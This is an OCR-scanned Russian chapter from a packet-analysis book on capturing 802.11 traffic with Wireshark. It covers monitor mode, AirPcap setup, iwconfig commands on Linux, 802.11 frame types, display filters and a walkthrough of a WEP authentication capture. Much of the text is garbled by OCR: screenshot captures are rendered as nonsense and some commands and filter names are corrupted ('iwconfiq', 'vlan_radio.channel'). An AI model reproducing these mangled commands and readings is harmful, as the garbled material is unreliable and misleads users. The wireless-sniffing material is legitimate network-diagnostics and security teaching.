• Режим текущего контроля (Monitor mode). Это наиболее важный 
режим для перехвата и анализа пакетов. Режим текущего контроля 

применяется в том случае, если клиенту беспроводной сети требуется 

остановить передачу и прием данных и вместо этого прослушивать па

кеты, распространяемые в эфире. Для перехвата и анализа пакетов в 

Wireshark адаптер беспроводной связи вместе с программным драйве
ром должен поддерживать режим текущего контроля, называемый так

же режимом RFMON, т.е. режимом радиочастотного контроля. 

Большинство пользователей применяют адаптеры беспроводной связи 

только в режиме прямого подключения или в управляемом режиме. Графиче

ское представление принципа действия каждого из описанных ранее режи

мов работы адаптера беспроводной сети показано на рис. 13.4. 

l1!рiИ!рф1!1!1 Меня часто спрашивают, 1шхой, адаптер беспроводной связи я бъt рек~ 

мендовал для анализа пахетов в беспроводной сети. Я сам пользуюсь и 

настоятел.ъно рекомендую адаптеръ~, производимъtе хомпанией ALFA 
Network. Их сетевое оборудование считается одним из самъtх лучших на 
ръ~нхе для перехвата всевозможнъtх пахетов, рентабелънъtм и переноси

мъtм. Сетевое оборудование хомпании ALFA Network предлагается болtr 
шинством торговцев въ~числител.ъной, технихой, в Интернете. 

Анализ пакетов в беспроводной сети 

в системе Windows 
Даже если в вашем распоряжении имеется сщаптер беспроводной связи, 

поддерживающий режим текущего контроля, большинство драйверов подоб

ных сетевых устройств в системе Windows не позволяют перейти в этот ре
жим. Это означает, что вы сможете перехватывать только пакеты, входящие 

и исходящие из беспроводного интерфейса на устройстве, через которое вы 

подключаетесь к сети. А для перехвата пакетов между всеми устройствами в 

канале связи вам потребуется дополнительное оборудование. 
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Рис. 13.4. Разные режимы работы адаптера беспроводной сети 
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Настройка устройства AirPcap 
Устройство AirPcap от компании Riverbed Technologies (http:/ / www. 

riverbed.com/) предназначено для преодоления ограничений, которые 

Wiшlows накладывает на анализ пакетов в беспроводной сети. Оно пред

ставляет собой небольшое USВ-устройство, аналогичное флеш-накопителю 

(рис. 13.5). Устройство AirPcap служит для перехвата беспроводного сетевого 
трафика из одного или нескольких выбранных каналов связи. В устройстве 

AirPcap применяются программный драйвер WiпPcap и специальная утилита 

конфигурирования клиента. 

Рис. 13.5. Устройство AirPcap очень компактно 
и легко стыкуется с настольным компьютером 

Воспользоваться утилитой конфигурирования AirPcap, приведенной на 

рис. 13.6, совсем не трудно. Она содержит нескольких перечисленных ниже 
настраиваемых параметров. 
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lnterface 

ArPcap USB wireless caplure adapter rv. 00 v Blink Led 

Model: AwPcap Т х Media: 802.11 Ь/g 

Basic Conliguration 

Channel 2437 MHz (BG 61 --.., J Б2J lnclude 802.11 FCS in Frames 

Extension Channel 

Capt1.1e Туре 802.11 + Raoo 

Help 

IReset Config1.1ationl о~ L дрр1у Cance/ 

Рис. 13.6. Утилита конфигурирования AirPcap 



• Список lnterface (Интерфейс). Из этого раскрывающегося списка мож
но выбрать устройство для перехвата пакетов. Для некоторых сценари

ев сложного анализа, одновременно проводимого в нескольких каналах, 

может потребоваться несколько устройств AirPcap. 

• Кнопка Blink Led (Мигающий светодиод). Если щелкнуть на этой 
кнопке, светодиод, светящийся на корпусе устройства AirPcap, начнет 
мигать. Такой режим применяется, главным образом, для идентифика

ции конкретного сетевого адаптера, если одновременно применяется 

несколько устройств AirPcap. 

• Список Channel (Канал). Из этого раскрывающегося списка можно вы
брать канал связи, который требуется прослушивать через устройство 

AirPcap. 

• Список Extension Channel (Канал расширения). Из этого раскрываю
щегося списка можно выбрать канал расширения связи, позволяющий 

создавать более широкополосные каналы в соответствии со стандартом 

802.lln. 

• Флажок lnclude 802.11 FCS in Frames (Включить последовательность 
проверки фреймов по стандарту 802.11 ). По умолчанию в некоторых 
системах отбрасываются последние четыре бита контрольной суммы из 

полученных беспроводных пакетов. Эта контрольная сумма называется 

последователъиостъю проверки фреймов (fraшe check sequence, FCS) и га
рантирует целостность пакетов при передаче. Установите этот флажок, 

если только у вас нет веских оснований не включать контрольные сум

мы FCS в беспроводные пакеты. 

• Список Capture Туре (Тип перехвата). Из этого раскрывающегося спи
ска можно выбрать следующие три варианта: 802.11 Only, 802.11 + Radio 

или 802.11 + PPI. Вариант 802.11 Only позволяет включать заголовок по 

стандарту 802.11 во все перехваченные пакеты, а вариант 802.11 + Radio -

дополнительно предварять этот заголовок еще одним заголовком по 

стандарту Radiotap (Ответвитель радиоканала) с дополнительными све
дениями о пакете, включая скорость передачи данных, уровень сигна

ла и уровень шума. И, наконец, вариант 802.11 + PPI позволяет добавлять 

заголовок PPI (Per-Packet lnforшation - информация по каждому паке

ту) с дополнительными сведениями об отдельных пакетах по стандарту 

802.1 lн. 

• Список FCS Filter (Фильтр последовательности проверки фрей
мов). Из этого раскрывающегося списка можно выбрать вариант для 

фильтрации пакетов с нарушенной контрольной суммой FCS, даже если 
сброшен флажок lnclude 802.11 FCS in Frames. Чтобы отобразить только те 
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пакеты, которые получены успешно, судя по контрольной сумме FCS, 
выберите вариант Valid Frames (Достоверные фреймы). 

• Панель WEP Configuration (Настройка алгоритма WEP). Эта панель до

ступна на вкладке Keys (Ключи) панели управления устройством AirPcap. 
В ней можно ввести ключи расшифровки по алгоритму WEP для анали
зируемых беспроводных сетей. Чтобы иметь возможность правильно 

интерпретировать данные, зашифрованные по алгоритму WEP, необхо
димо ввести подходящие ключи в данной области. Подробнее о ключах 

шифрования по алгоритму WEP речь пойдет далее, в разделе "Успешная 
аутентификация по алгоритму WEP". 

Перехват сетевого трафика с помощью устройства AirPcap 
Итак, установив и сконфигурировав устройство AirPcap, можно присту

пить к уже знакомому процессу перехвата пакетов. Чтобы начать сбор паке

тов, достаточно запустить Wireshark на выполнение и выбрать интерфейс 
AirPcap (рис. 13.7) . 

• WirtsNrk · Upturr lnterfaces х 

lntedace 

@fpcap US8 Y111rtlш а 
Tmfic , ••. ..,.._ ·-""'"""' ,_.., ,.".- i 

802.11 plusrtdrotJpheader enIOled def4ult 2 

> 81UEtooth №twOfk Connect1cn 
> EtMrnet 
> Ethernet.2 
> EthernetЭ 
> local Area ConnIOton'" 2 
;а LoC!I Аrи Connкt1on• 4 
> Wi-F1 

0~1)'01'1'119QJOUSm00r:Of'\а1111tfrfcas 

Ethбnd mablt'd dtfault 2 
EtМrnd enab~ dd"ult 2 
Ethl!fnet №аЫ~ dtf 11utt 2 
Ethemet ~аЫеd d~.tult 2 
Ethrmet емЫеd d~ault 

Ethl!fnt°t 
Ethernet 

еn11Ы~ 

enaЬll!.d 

dtfault 

d~1ult 

c.ptueFi"'for.-111terfoc.es: l.~&>-""'~•-"f>~°'-•-ft""'--------~-) 

Рис. 13.7. Выбор интерфейса AirPcap для перехвата пакетов 

-1111е11>=. 1 

Напомним, что пакеты будут перехватываться из того канала связи, кото

рый выбран в утилите конфигурирования устройства AirPcap. Если вы не об
наружите искомые пакеты, то, скорее всего, вы выбрали не тот канал связи. 

В таком случае смените канал связи, остановив активный перехват, выбрав но

вый канал в утилите конфигурирования устройства AirPcap и начав перехват 
снова. В процессе смены канала связи нельзя активно перехватывать пакеты . 

Если требуется проверить, в каком именно канале происходит перехват из 

Wireshark, это нетрудно сделать, просмотрев статистические данные о пере

хвате беспроводных пакетов. С этой целью выберите команду Wireless<=>WLAN 



Traffic (Беспроводная сетьQТрафик WLAN) из главного меню. В открывшемся 
окне появятся наблюдаемые устройства, а также сведения о них, включая ка

нал связи по стандарту 802.11, как показано на рис. 13.8 . 

• Wiresh•rk. Wirei65 LAN St.tttg:к:s · wirtsh.art__p<.1pn9_111rpc1p00_201605021002:1_a110CW 

ВSSIO 
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11 А ТТ9Сбg9S6 
11 ATTQSIOc:ccl 
11 НP·Pпnt-Dб·Officqd" 4630 

Perctnt Paclc:• Вeacons l.ata Plcts )Ьtс R~s ~ Rrsp 
б.б • о о о 
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о х 

Othв Prottct1on 
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Рис. 13.8. Окно со статистическими данными о WLAN, где указано, что эти данные 
быпи перехвачены путем прослушивания канала 11 

Анализ пакетов в беспроводной сети 

в системе Linux 
Чтобы проанализировать пакеты в беспроводной сети в системе Liпux, 

достаточно активизировать режим текущего контроля (шonitor шоdе) в адап

тере беспроводной сети и запустить Wiresl1ark на выполнение. К сожалению, 
сама процедура активизации режима текущего контроля отличается в зави

симости от конкретной модели адаптера беспроводной сети, и поэтому здесь 

нельзя дать какой-нибудь определенной рекомендации, как это следует сде

лать. В действительности некоторые модели адаптеров беспроводной связи 

не требуют активизации режима текущего контроля. В этой связи лучше всего 

найти нужную модель, произведя быстрый поиск в Google, и выяснить, дей
ствительно ли следует активизировать режим текущего контроля, а если тре

буется, то как это сделать. 

К числу наиболее распространенных способов активизации режима теку

щего контроля в Liнux относится применение встроенных беспроводных рас

ширений, для доступа к которым служит команда iwconfig. Так, если ввести 
команду iwconfig на консоли, то в конечном итоге будет получен следующий 
результат: 

$ iwconfig 

«» EthO по wi r e l ess extensi ons 

LoO по wireless ext ensions 

0 Ethl IEEE 802.llg ESSID: "Tesla Wirel ess Network" 

Mode: Managed Frequency: 2.4 62 GHz 

Access Point: 00:02:2D:8B :70 : 2E 



Bit Rate: 54 МЬ/s Tx-Power-20 dBm Sensitivity=8/0 

Retry Limit: 7 RTS thr: off Fragment thr: off 

Power Management: off 

Link Quality=75/100 Signal level=-71 

dBm Noise level=-86 dBm 

Rx invalid nwid: О Rx invalid crypt: 

О Rx invalid frag: О 

Тх excessive retries: О Invalid misc: 

О Missed beacon: 2 

Как следует из приведенного выше результата выполнения кома1щы 

iwconfig, сетевой интерфейс Ethl можно сконфигурировать для беспрово

дной связи. И это вполне очевидно, поскольку в данном случае отображаются 

данные для протокола 802.llg 8, тогда как сетевые интерфейсы EthO и LoO 

возвращают сообщение "no wireless extensions" (беспроводные расширения 

отсутствуют) о. 

Наряду со всеми сведениями о беспроводной сети, предоставляемыми по 

команде iwconfig, включая установленный идентификатор расширенной 

беспроводной службы (Extended Service Set ID, ESSШ) и несущую частоту, об

ратите внимание и на то, что во второй строке под заголовком Ethl в качестве 

текущего указан управляемый режим (Mode: Managed). Именно этот режим и 
требуется изменить. 

Чтобы установить в сетевом интерфейсе Ethl режим текущего контроля, 

необходимо войти в систему с правами доступа суперполь:ювателя (root) не
посредственно или по команде смены пользователя (su), как показано ниже. 

$ su 

Password: <enter root password here> 

Войдя в систему с правами суперпольаователя, можно ввести команды для 

настройки параметров беспроводного сетевого интерфейса. В частности, 

чтобы настроить сетевой интерфейс Ethl на режим текущего контроля, до
статочно ввести следующую команду: 

# iwconfig ethl mode monitor 

Если снова запустить команду iwconfig после установки режима текущего 
контроля в адаптере беспроводной связи, то в выводимых 110 этой команде 

результатах будут отражены изменения, внесенные в сетевой интерфейс Ethl. 

Чтобы гарантировать работоспособность сетевого интерфейса Ethl, доста

точно ввести следующую команду: 

# iwconfig ethl up 



По команде iwconfiq можно также сменить канал связи, выбранный для 
прослушивания. В частности, чтобы выбрать канал 3 в сетевом интерфейсе 
Ethl, следует ввести команду 

# iwconfig ethl channel З 

le!pЩ!PJililil Каналъt связи можно сменятъ по ходу перехвата пакетов, поэтому 

делайте это не колеблясъ по своему усмотрению. Чтобы упроститъ 

этот процесс, можно создатъ отделъный сценарий на основе командъt 

iwconfiq. 

Завершив все описанные выше настройки, запустите Wireshark на выпол
нение, чтобы приступить к перехвату пакетов. 

Структура пакета по стандарту 802. 11 
Фай.я перехвата 

80211Ьeacon.pcapng 

Главное отличие пакетов в беспроводной сети от паке

тов в проводной сети заключается в наличии дополни

тельного заголовка по стандарту 802.11. Этот заголовок 
второго уровня содержит дополнительные сведения о пакете и среде, в кото

рой он передается. Имеются следующие типы пакетов. 

• Пакеты управления (Management). Такие пакеты служат для установ
ки связи между хостами на втором уровне. К наиболее важным подти

пам пакетов управления относятся пакеты аутентификации, установки 

связи и сигнальные пакеты. 

• Пакеты контроля (Control). Такие пакеты обеспечивают гарантиро
ванную доставку пакетов управления и данных и предназначены для 

управления процессом устранения перегрузки. К наиболее распростра

ненным подтипам пакетов контроля относятся пакеты с запросами на 

передачу и подтверЖдением готовности к приему. 

• Пакеты данных (Data). Такие пакеты содержат конкретные данные 
и относятся к тем типам пакетов, которые могут быть направлены из 

беспроводной сети в проводную сеть. 

Тип или подтип беспроводного пакета определяет его структуру, поэтому 

имеется большое количество возможных структур. Рассмотрим одну из та

ких структур на примере анализа единственного пакета из файла перехвата 

80211beacon.pcapng. Этот файл содержит пример пакета управления, называ
емого сигналъным, как показано на рис. 13.9. 
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r
• Wirosh•rk·Pocket1 · 80211b••con -- -·- _____ о __ 

Fгме 1: 132 byt•s on wire ( lе5б Ы ts), 132 bytes coptured ( 1856 Ь1 ts) 
v IEEE 802.11 Beacon fra е, Fla1s: .•...... 

Type/Subtype: Beacon fr111e (0х0008)0 

Frame Contr-ol Field: 0х8000 
.000 0000 0000 000е • Dur1tion: 0 11icr-oseconds 
Receiver address: 8roadcost (ff:ff:ff:ff:ff:ff) 
Destination oddress: Broodcast (ff:ff:ff:ff:ff:ff) 
Transмitter address: D-LinkCo_0b:22:bo (00:13:46:0Ь:22:Ьа) 

б Sourc• address: D·Linkco_0b:22:bo (00:13:4б:0Ь:22:Ьа) 
855 Id: D-Linl<Co_0b:22:ba (00:13:4б:0Ь:22:Ьа) 

"" "" "" 000е • Fropent nu11ber: 0 
0101 0100 1000 .... • Sequence nu1>ber: 1352 

v IEEE 802 .11 wireless LAll '"n1ge111ent fra•e 
"' Fixed paranieters (12 bytes) 

T1""'sta11p: ехееееееееlб85о181 
Beacon Interval: е .102400 [5econds] 

> CapaЫlities Infon111tion: 0х0431 
v Tagged paranieters (96 bytes) 

> Tag: SSID por111eter set: TESLA 
«) Tag: Supported Rates l(B), 2(8), 5.5(8), ll(B), б, 12, 24, 36, [МЬit/sec] 

Tag: DS Paranteter set: Current Channel: 11 0 
> Tag: Traffic Indication Мар (ТIМ): DТIM 0 of 0 Ыt10ар 

Tog: ERP Information 
Tag: Extended Supported Rates 9, 18, 48, 54, [MЫt/sec] 

> Tag: Vendor Specif ic: AtherosC: Advanced CapaЫlity 
> Tag: Vendor Specific: AtherosC: Unknown 

Tag: Vendor Speci fic: AtherosC: eXtended Range 
> Tag: Vendor Specific: GlobalSu 

Рис. J З. 9. Это сигнальный пакет по стандарту 802. J J 

х 

Сигнальные пакеты относятся к самым информативным беспроводным па

кетам, которые только можно обнаружить. Они посылаются в широковеща

тельном режиме по беспрово;~ному каналу из точки беспроводного доступа, 

чтобы уведомить всех нодключенных клиентов о некотором событии, а так

же определить нараметры, которые должны быть заданы для подключения к 

точке доступа. Как следует из данного файла перехвата, анализируемый пакет 

определяется как сигнальный в поле Type/SuЬtype в заголовке по стандар

ту 802.11 О. 
Значительную часть дополнительной информации можно обнаружить в за

головке фрейма управления по стандарту 802.11, включая следующее. 

• Ti.mestamp (Отметка времени). Обозначает момент времени, когда па

кет был передан. 

• Beacon Interval (Сигнальный интервал). Обозначает интервал по
вторной передачи сигнального пакета. 

• CapaЬilities Information (Сведения о возможностях). Обозначает 

сведения об аппаратных возможностях точки беспроводного доступа. 



• SSID parameter set (Набор параметров SSID). Обозначает идентифи
катор беспроводной службы (SSIП), используемый в точке беспроводно

го доступа для передачи пакетов. 

• Supported Rates (Поддерживаемые скорости передачи). Обозначает 
скорости передачи данных, которые поддерживает точка беспроводно

го доступа. 

• DS Parameter set (Набор параметров DS). Обозначает номер канала 
связи, на котором работает точка беспроводного достуна. 

В рассматриваемый здесь заголовок включаются также адреса отправите

ля и получателя, а также сведения о производителе оборудования. Исходя из 

этого, можно выяснить немало любопытного о точке беспроводного доступа, 

передающей сигнальный пакет в рассматриваемом здесь файле перехвата. 

Очевидно, что в данном случае стандарт 802.11 Ь (В) О применяется в сетевом 
устройстве D-Liнk о для передачи данных ПО каналу 11 е. и хотя конкретное 
содержимое и назначение пакетов управления по стандарту 802.11 изменяет
ся, общая структура остается той же самой и соответствует рассмотренной в 

данном примере. 

Добавление столбцов, характерных 

для беспроводной сети, на панель Packet List 
В примерах анализа пакетов из предыдущих 1:пав выгодно использовался 

гибкий пользовательский интерфейс Wiresliark для добавления столбцов, 110;~
ходящих для конкретной ситуации. Прежде чем нродолжить дальше анализ 

пакетов в беспроводной сети, полезно добавить следующие три столбца на па

нель Packet List. 

• Столбец Channel для отображения канала, в котором перехвачен пакет. 

• Столбец Signal Strength для отображения мощности сигнала в канале 
в момент перехвата пакета, измеряемый в децибелах по отношению к 1 
мВт (dВш). 

• Столбец Data Rate для отображения скорости передачи данных в мо
мент перехвата пакета. 

Сведения в этих столбцах мо1уг оказать немалую помощь при диагностике 

беспроводных соединений. Например, несмотря на то, что программное обе

спечение беспроводного клиента сообщает, что мощность сигнала находится 

в норме, обратившись за справкой к этим столбцам при анализе перехвачен

ных пакетов, можно выявить числовое значение, не отвечающее установлен

ным требованиям к мощности сигнала. 



Чтобы добавить эти столбцы на панель Packet List, выполните следующие 

действия. 

1. Выберите команду EditQPreferences из главного меню. 

2. Перейдите к разделу AppearanceQColumns и щелкните на кнопке со зна
ком "плюс"(+). 

3. Введите Channel в поле Тitle, выберите вариант Custom (Специальный) из 
раскрывающегося списка Туре и выберите фильтр vlan _ radio. channel 

из списка Field Name. 

4. Повторите этот процесс для добавления столбцов Signal Strenqth и 

Data Rate. Присвойте им подходящие заголовки и выберите, соответ

ственно, фильтры vlan_radio.signal_dЬJD и wlan_radio.data_rate из 
раскрывающегося списка Field Name. На рис. 13.1 О показано, как долж
но выглядеть окно Preferences после добавления трех упомянутых выше 
столбцов. 

5. Щелкните на кнопке ОК, чтобы сохранить внесенные изменения. 
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Рис. 13. 1 О. Добавление столбцов на панель Packet List специально для анализа паке

тов в беспроводной сети по стандарту /ЕЕЕ 
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Специальные фильтры для беспроводных сетей 
Преимущества фильтров перехвата и отображения уже обсуждались в гла

ве 4, "Обработка перехваченных пакетов". Отфильтровать сетевой трафик в 

инфраструктуре проводной сети намного проще, поскольку каждое устрой

ство подключено к сети по отдельному кабелю. Но в беспроводной сети весь 

сетевой трафик, сформированный беспроводными клиентами, сосуществует 

в общих каналах. Это означает, что перехваченные пакеты в каком-нибудь од

ном канале могут содержать сетевой трафик от сотен клиентов. Этот раздел 

посвящен обсуждению некоторых фильтров пакетов, которыми можно поль

зоваться для поиска интересующего вас трафика. 

Фильтрация сетевого трафика по конкретному 

идентификатору BSSID 
Каждой точке беспроводного доступа в сети присваивается однозначно 

определяющий ее идентификатор базового набора услуг (Basic Service Set Identi

fier, BSSID). Этот идентификатор посылается в каждом беспроводном пакете 

управления и пакете данных из передающей точки доступа. 

Зная идентификатор BSSID точки беспроводного доступа, для ее иссле

дования достаточно найти пакет, отправленный из этой конкретной точки. 

В приложении Wiresl1ark передающая точка доступа отображается в столбце 

Info на панели Packet List, и поэтому найти сведения об этой точке, как прави

ло, нетрудно. 

Получив пакет иэ представляющей интерес точки доступа, ее идентифика

тор BSSID можно найти в соответствующем поле из заголовка по стандарту 

802.11, где, по существу, указан МАС-адрес. На основании МАС-адреса можно 

создать приведенный ниже фильтр. После применения этого фильтра оста

нется только тот сетевой трафик, который проходит через указанную точку 

беспроводного доступа. 

wlan.bssid == 00:11:22:33:44:55 

Фильтрация пакетов по конкретным типам 

Ранее в этой главе обсуждались разные типы пакетов, которые можно на

блюдать в беспроводной сети. И зачастую возникает потребность выявить 

пакеты этих типов или их подтипов. Это можно сделать с помощью фильтра 

wlan. fc. type для отдельных типов пакетов или фильтра wc. fc. type _suЬtype 

для отдельных подтипов пакетов или их сочетаниям. Например, чтобы выя

вить пакеты, не содержащие данных (NULL data packet), достаточно приме

нить фильтр wlan. fc. type _ suЬtype = Ох24, где шестнадцатеричная цифра 2 



обозначает тип 2, а шестнадцатеричная цифра 4 - подтип 4 искомого паке
та. В табл. 13.1 перечислены для краткой справки наиболее употребительные 
фильтры, которые могут потребоваться для фильтрации типов и подтипов па

кетов по стандарту 802.11. 

Табпица 13.1. Типь1 и подтипы беспроводных пакетов 
и синтаксис соответствующих фипьтров 

Тип или подтип пакета 

Фрейм управления 

Фрейм контроля 

Фрейм данных 

Запрос на установку связи 

Ответ на установку связи 

Запрос на повторную установку связи 

Ответ на повторную установку связи 

Запрос на зондирование 

Ответ на зондирование 

Сигнальный пакет 

Разрыв связи 

Аутентификация 

Отказ в аутентификации 

Фрейм действия 

Запросы на подтверждение блокировки 

Подтверждение блокировки 

Опрос энергосбережения 

Запрос на передачу 

Готовность к приему 

Подтверждение (АСК) 

Окончание бесконфликтного периода 

Пустые данные (NULL data) 

Данные о качестве обслуживания (QoS) 

Пустые данные о качестве обслуживания (Null QoS) 

Синтаксис фипьтра 

wlan.fc.type = О 

wlan.fc.type = 1 

wlan.fc.type = 2 

wlan.fc.type_suЬtype = ОхОО 

wlan.fc.type_suЬtype = Ох01 

wlan.fc.type_suЬtype = Ох02 

wlan.fc.type_suЬtype = ОхОЗ 

wlan.fc.type_suЬtype = Ох04 

wlan.fc.type_suЬtype = Ох05 

wlan.fc.type_suЬtype = Ох08 

wlan.fc.type_suЬtype = ОхОА 

wlan.fc.type_suЬtype = Охов 

wlan.fc.type_suЬtype = ОхОС 

wlan.fc.type_suЬtype = OxOD 

wlan.fc.type_suЬtype = Ох18 

wlan.fc.type_suЬtype = Ох19 

wlan.fc.type_suЬtype = OxlA 

wlan.fc.type_suЬtype = OxlB 

wlan.fc.type_suЬtype = OxlC 

wlan.fc.type_suЬtype = OxlD 

wlan.fc.type_suЬtype = OxlE 

wlan.fc.type_suЬtype = Ох24 

wlan.fc.type_suЬtype = Ох28 

wlan.fc.type_suЬtype = Ох2С 

Фильтрация пакетов по отдельным каналам 

Для анализа сетевого трафика, который составляют пакеты из нескольких 

каналов, очень полезной оказывается фильтрация по отдельным каналам. 

Так, если предполагается, что сетевой трафик должен присутствовать только 

в каналах 1 и б, можно применить фильтр для отображения всего трафика в 
канале 11. Если при этом обнаружится какой-нибудь посторонний трафик, это 
будет означать, что в беспроводной сети что-то не так, например, нарушена 



конфигурация или неисправно какое-то устройство. Чтобы выявить трафик 

в отдельном канале, достаточно воспользоваться следующим синтаксисом 

фильтров: 

wlan radio.charmel = 11 

В данном примере отображается сетевой трафик в канале 11, а для филь

трации трафика в другом канале достаточно подставить его номер вместо 

значения 11. Имеются сотни других фильтров, которыми можно воспользо

ваться для анализа трафика, перехваченного в беспроводной сети. Подробнее 

об этих фильтрах можно узнать, перейдя по ссылке, соответствующей типу 

фильтров (перехвата или отображения), на вики-странице Wiresl1ark по адре
су http: / /wiki. wireshark. org/. 

Сохранение профиля беспроводной сети 
Для анализа пакетов в беспроводной сети приходится прилагать немало 

усилий, добавляя отдельные столбцы и сохраняя специальные фильтры. Но 

вместо того чтобы изменять всякий раз конфигурацию программы и удалять 

столбцы, можно создать специальный профиль для быстрой смены конфи

гурации при переходе от беспроводной сети к проводной и обратно с целью 

анализа пакетов. 

Чтобы сохранить профиль, сконфигурируйте сначала столбцы и филь

тры для подключения к беспроводной сети. Затем щелкните правой кнопкой 

мыши на списке активных профилей в правой нижней части экрана и далее 

щелкните на кнопке New. Присвойте новому профилю имя Wireless (Беспро
водный) и щелкните на кнопке ОК. 

Безопасность в беспроводной сети 
При развертывании и администрировании беспроводной сети больше все

го хлопот вызывает безопасность данных, передаваемых по такой сети. В част

ности, данные, передаваемые в эфире, очень важно зашифровать, иначе их 

может перехватить всякий посторонний средствами Wireshark и AirPcap. 

l11QШ!ph)Шil Если применяется шифрование на другом уровне модели OSI (например, 

по протrжолу SSL или SSH), сетевой трафик уже будет зашифрован при 

переходе на более низкие уровни, поэтому обм,ен данными полъзователя 

невозможно будет прачитатъ с помощъю анализатора пакетов. 

Первоначально наиболее предпочтительным методом защиты данных, пе

редаваемых по беспроводным сетям, считалось соблюдение стандарта WEP 



(Wired Equivalent Privacy - эквивалент конфиденциальности проводных се

тей). Стандарт WEP успешно применялся многие годы до тех пор, пока не 
было обнаружено несколько слабых мест в его алгоритме управления клю

чами шифрования. Поэтому для повышения безопасности были разрабо

таны новые стандарты, в том числе WPA (Wi-Fi Protected Access - защищен

ный беспроводный доступ к сети) и WPA2 (с более безопасным алгоритмом). 
И хотя стандарты WPA и WPA2 не вполне надежны и подвержены ошибкам, 
они все же считаются более безопасными, чем стандарт WEP. В этом разделе 
будут рассмотрены некоторые примеры анализа сетевого трафика по стандар

там WEP и WPA с удачными и неудачными попытками аутентификации. 

Успешная аутентификация по алгоритму WEP 
Фай.л перехвата3е80211_ 

WEPauth.pcapng 

Рассматриваемый здесь файл перехвата Зе80211 

WEPauth. pcapng содержит пример успешного под

ключения к беспроводной сети по стандарту WEP. 
Безопасность в этой сети обеспечивается с помощью WЕР-ключа шифрова

ния, который требуется указать при настройке точки беспроводного доступа 

для аутентификации и расшифровки посылаемых из нее данных. В этом отно

шении WЕР-ключ можно рассматривать как своего рода пароль для доступа к 

беспроводной сети. 

Как показано на рис. 13.11, сетевой трафик из рассматриваемого здесь 
файла перехвата начинается с запроса, направJ1яемого в пакете 3 О из точки 
беспроводного доступа, находящейся по адресу 28: с6: Ве: аЬ: 96: 16, беспро

водному клиенту, расположенному по адресу ac:cf:Sc:78:6c:9c. Назначение 
этого запроса - выяснить, имеется ли WЕР-ключ у беспроводного клиента. 

Этот запрос можно увидеть, развернув заголовок стандарта 802.11 и проана
лизировав промаркированные (Tag) в нем параметры. 

В ответ на этот запрос беспроводный клиент расшифровывает текст запро

са О с помощью WЕР-ключа и возвращает его в открытом виде в пакете 4, как 
показано на рис. 13.12. WЕР-ключ вводится пользователем при попытке под
ключения к беспроводной сети. 

В свою очередь, точка беспроводного доступа отвечает беспроводному 

клиенту пакетом 5, как показано на рис. 13.13. В этом ответе содержится уве
домление об удачном завершении процесса аутентификации О. 

И, наконец, после удачной аутентификации клиент может передать запрос 

на установку связи, получить подтверждение и завершить процесс подключе

ния, как показано на рис. 13.14. 



• Wireshark · Pack•t 3 · 3.ВOZl l_w•pauth о 

fra11e З: 184 bytes on wire (1472 bits), 184 bytes capturod (1472 Ыts) on interface 0 
Radiotap Header v0, Length 20 
802.11 radio infon1etion 

" IEEE 802.U Authentication, flogs: . ...... . С 
Type/Subtype: Authentication (0х000Ь) 
Frame Contгol Field: 0хЬ9ее 

. 000 0001 0011 1819 • Duration: 314 11icroseconds 
Receiveг oddress: Аррlе_78:бс:9с (oc:cf:Sc:78:6c:9c) 
Destination oddress: Apple_78:6c:9c (•c:cf:Sc:78:6c:9c) 
Trans11itter address: Netgeor _аЬ:96 : 16 (28: с6:8е: аЬ :96: 16) 
Source oddress: Netgeor _ab:96:16 (28:с6:8е:аЬ:96:16) 

BSS Id: Netgear_ab:96:16 (2В:с6:8е:оЬ:96:16) 
. . .......... 9800 • Fragtent nurtbeг: 0 
0000 0000 8100 . . . . • Sequence ПUflber: 4 

frarte check sequence: 0xad79ad88 [ соггесt] 
IEEE 802 .11 wir•less LAN 11anoge11ent fr.,.. 
v fixed poгo11eters (6 bytes) 

Authentication Algorithla: Shaгed key (1) 
Authenticotion SEQ: 0х0002 

Status code: Successful (0х&000) 
Tagged para11eteгs (130 bytes) 

Tag: Challenge text О 
Tog Nunober: Challenge text (16) 
Tog length: 128 
Challeng• Text: 97eЬed97caBa77fddoe72796f85dS60950o64cad505ЗeSd9 ... 

х 

№.1 J•T....:lt.04lНS8 • Si>Jn:ol,,__.Ь.·'6:J6·~:~?8:6<:. .t AutlrenDa/IOn · ~A<lthenriatIOп •T~A~ 

dose 1 с~ j 

Рис. 1 З . 11. Из точки беспроводного доступа делается запрос беспро
водного клиента 

• Wireshark · Packet 4 · 3.ВOZ11_wepauth о 

Fra111e 4: 283 bytes on wire (1624 Ьits), 203 bytes coptuгed (1624 Ыts) on int•rface 0 

Rodiotap Header v0, Length 20 
802 .11 radio infornation 
IEEE 802.11 Authentication, Flogs: .р ...•.. С 

Type/Subtype: Authentication (0х000Ь) 
Fro11e Control Field: 0х1>040 
. 000 0001 8011 1010 " Ouration : 314 11icroseconds 
Receiver address: Netgear _ab:96:16 (28:сб:8е:оЬ :96:16) 
Destinotion address: №otgear_ob:96:16 (28:с6:8е:аЬ:9б:16) 
Tгons"itter addr•ss: Apple_78 :6c:9c (ac:cf : Sc:78:6c:9c) 
Source address: Apple_78: бс :9с (ас: cf: Sc: 78: бс: 9с) 
BSS Id: Netg••r_ob:96:1б (28:сб :8е:оЬ:96:16) 
. . . . . . . . . . . . 0000 = Frapent nu111Ьer: е 

0000 0110 0100 . . .. z Sequence number: 100 
Frame check sequence: 8xlafcSбd8 [coгrect] 
WEP paraJR:tL!ГS 

Data (147 byt•s) 
О Ooto: e839cc710bf2dolc9Збcfe6a722fb8e7a8ee•78529270d43 ... 

[Length: 147] 

х 

о\Ь., •• т,;."о.05044·~А~?8:6с!>о ·~, .,__.lн96:.. ,"~. т~~А~· ~Аиt!омЬа 

С!= ~:J 

Рис. 1 З. 12. Беспроводный клиент посылает незашифрованный текст 
запроса обратно в точку доступа 

411 
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• Wir•shark · Pack.t 5 · Зo80.211_w•pauth о х 

Fra11e S: 54 bytes on wire (432 Ьits), 54 bytes coptur•d (432 Ьits) оп inteгface 11 
Rodiotop H•oder ve, length 211 

> 8112 .11 r adio information 
> IEEE 8112.11 Authentication, Flags: • """.С 
v IEEE 8112.11 wir•l•ss lAN m•n•g....,nt fra..., 

v Fixed parameters ( б bytes ) 
Authentication Algor ithm: Sha r ed key (1 ) 
Authenticotion SEQ: llx0ee4 
Status code: Successful (ехееоо) О 

Рис. 1 3. 1 3. Точка беспроводного доступа уведомляет беспроводного 
клиента об удачном завершении процесса аутентификации 

~ OntN~ 

Apple_71:6c :9с -t1e1r _1Ь196: 16 
Net е•г •b: 96~ 1ti le 1J:6c:9c 

""""' 882.11 
н2.11 

11• 
119 

". ·11 1 
